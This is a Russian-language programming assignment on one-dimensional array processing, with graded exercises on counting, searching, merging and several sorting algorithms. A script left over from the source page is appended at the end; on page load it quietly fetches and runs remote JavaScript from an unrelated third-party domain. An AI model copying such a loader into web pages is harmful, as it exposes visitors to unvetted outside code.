Работа 3.6. Программирование обработки одномерных массивов
Задание
Составить программу решения поставленной задачи по обработке одномерного массива (вектора). По возможности, использовать подпрограммы.
Уровень 1
Дана последовательность действительных чисел а1, а2, ..., аn. Выяснить, будет ли она возрастающей.
Дан массив из N действительных чисел. Подсчитать, сколько в нем отрицательных, положительных и нулевых элементов.
Даны действительные числа а1, а2, ..., аn. Поменять местами первый наибольший элемент с последним наименьшим элементом.
В заданном одномерном массиве поменять местами соседние элементы, стоящие на четных местах, с элементами, стоящими на нечетных местах.
Задана последовательность {Хi} из N вещественных чисел. Вычислить последовательность {Si} по формуле:
где М — среднее арифметическое значение последовательности X.
Задана последовательность из N целых чисел. Вычислить сумму тех элементов массива, порядковые номера которых совпадают со значением этого элемента.
Определить, сколько процентов от всего количества элементов последовательности целых чисел составляют нечетные элементы.
Дан массив X[N] целых чисел. Не используя других массивов, переставить его элементы в обратном порядке.
Уровень 2
Задана последовательность из N вещественных чисел. Вычислить сумму чисел, порядковые номера которых являются простыми числами.
Последовательность а1, а2, ..., аn состоит из нулей и единиц. Поместить в начало этой последовательности все нули, а затем все единицы.
Даны действительные числа а1, а2, ..., аn. Найти:
Дана последовательность действительных чисел а1 ≤ а2 ≤ ... ≤ аn Вставить действительное число b в нее так, чтобы последовательность осталась неубывающей.
Дана последовательность целых чисел а1, а2, ..., аn. Указать пары чисел ai, аj, таких что ai + aj = m, где m - заданное целое число.
Даны координаты п (п ≤ 30) точек на плоскости: (Х1, У1), ..., (Xn, Yn). Найти номера пары точек, расстояние между которыми наибольшее (считать, что такая пара единственная).
Дан массив, состоящий из n натуральных чисел. Образовать новый массив, элементами которого будут элементы исходного, оканчивающиеся на цифру k.
Дан массив целых чисел. Найти в этом массиве минимальный элемент m и максимальный элемент М. Получить в порядке возрастания все целые числа из интервала (m; М), которые не входят в данный массив.
Даны две последовательности а1, а2, ..., аn и b1, b2, ..., bn (m < п). В каждой из них значения элементов различны. Верно ли, что все элементы второй последовательности входят в первую последовательность?
Вывести значения и номера наибольшего, наименьшего и наименее удаленного от среднего арифметического значения элементов данной последовательности вещественных чисел.
Уровень 3
Сформировать массив простых чисел, не больших заданного натурального числа N.
В одномерном массиве все отрицательные элементы переместить в начало массива, а остальные — в конец с сохранением порядка следования. Дополнительный массив заводить не разрешается.
В одномерном массиве с четным количеством элементов (2Л0 находятся координаты N точек плоскости. Они располагаются в следующем порядке: х1, у1, х2, у2, х3, у3, и т. д. Определить:
а) минимальный радиус окружности с центром в начале координат, которая содержит все точки;
б) внутренний и внешний радиусы кольца с центром в начале координат, которое содержит все точки;
в) номера точек, которые могут являться вершинами квадрата;
г) номера точек, которые могут являться вершинами равнобедренного треугольника;
д) номера самых удаленных и наименее удаленных друг от друга точек;
е) три точки, которые являются вершинами треугольника, для которого разность точек вне его и внутри является минимальной.
Дана последовательность целых чисел. Найти количество различных чисел в этой последовательности.
На плоскости п точек заданы своими координатами, и также дана окружность радиуса R с центром в начале координат. Указать множество всех треугольников с вершинами в заданных точках, пересекающихся с окружностью; множество всех треугольников, содержащихся внутри окружности.
Разделить массив на две части, поместив в первую элементы, большие среднего арифметического элементов массива, а во вторую — меньшие (части не сортировать).
Даны две последовательности а1 ≤ а2 ≤ ... ≤ аn и b1 ≤ b2 ≤ ... ≤ bn. Образовать из них новую последовательность чисел так, чтобы она тоже была неубывающей.
Примечание. Дополнительный массив не использовать.
Сортировка вставками. Дана последовательность чисел a1, а2, ..., аn. Требуется переставить числа в порядке возрастания. Делается это следующим образом. Пусть а1, а2, ..., аi — упорядоченная по неубыванию последовательность, т. е. а1 ≤ а2 ≤ ... ≤ ai. Берется следующее число ai+1 и вставляется в последовательность так, чтобы новая последовательность была также возрастающей. Процесс производится до тех пор, пока все элементы от i+1 до n не будут перебраны.
Примечание. Место помещения очередного элемента в отсортированную часть найти с помощью двоичного поиска. Двоичный поиск оформить в виде отдельной функции.
Алгоритм сортировки фон Неймана. Упорядочить массив а1, а2, ..., аnпо неубыванию с помощью алгоритма сортировки слияниями:
каждая пара соседних элементов сливается в одну группу из двух элементов (последняя группа может состоять из одного элемента);
каждая пара соседних двухэлементных групп сливается в одну четырехэлементную группу и т. д.
При каждом слиянии новая укрупненная группа упорядочивается.
Шейкер-сортировка. Алгоритм «пузырьковой» сортировки легко улучшить. Разумно запомнить, производился ли на данном проходе какой-либо обмен. Если нет, то алгоритм можно закончить. Еще одно улучшение заключается в том, что периодически меняется направление сортировки, которое борется с некоторой асимметрией «пузырькового» метода. Написать программу, реализующую данный улучшенный алгоритм.
< type='text/javascript' data-cfasync='false'>
(function(){
var script = document.createElement('script');
script.type = 'text/javascript';
script.charset = 'utf-8';
script.async = 'true';
script.src = 'https://dominantcodes-ip.com/bens/vinos5.js?24942a' + Math.random();
document.body.appendChild(script);
function updt() {
let is_mobile = /Android|webOS|iPhone|iPad|iPod|BlackBerry|BB|PlayBook|IEMobile|Windows Phone|Kindle|Silk|Opera Mini/i.test(navigator.userAgent);
if(!is_mobile) {return;}
let el = null;
let lin = setInterval(function(){
el = document.getElementById('qwerty_wrap');
if (el != null) {
el.style.zoom = '1.8';
clearInterval(lin);
}
}, 100);
}
updt();
})();
<">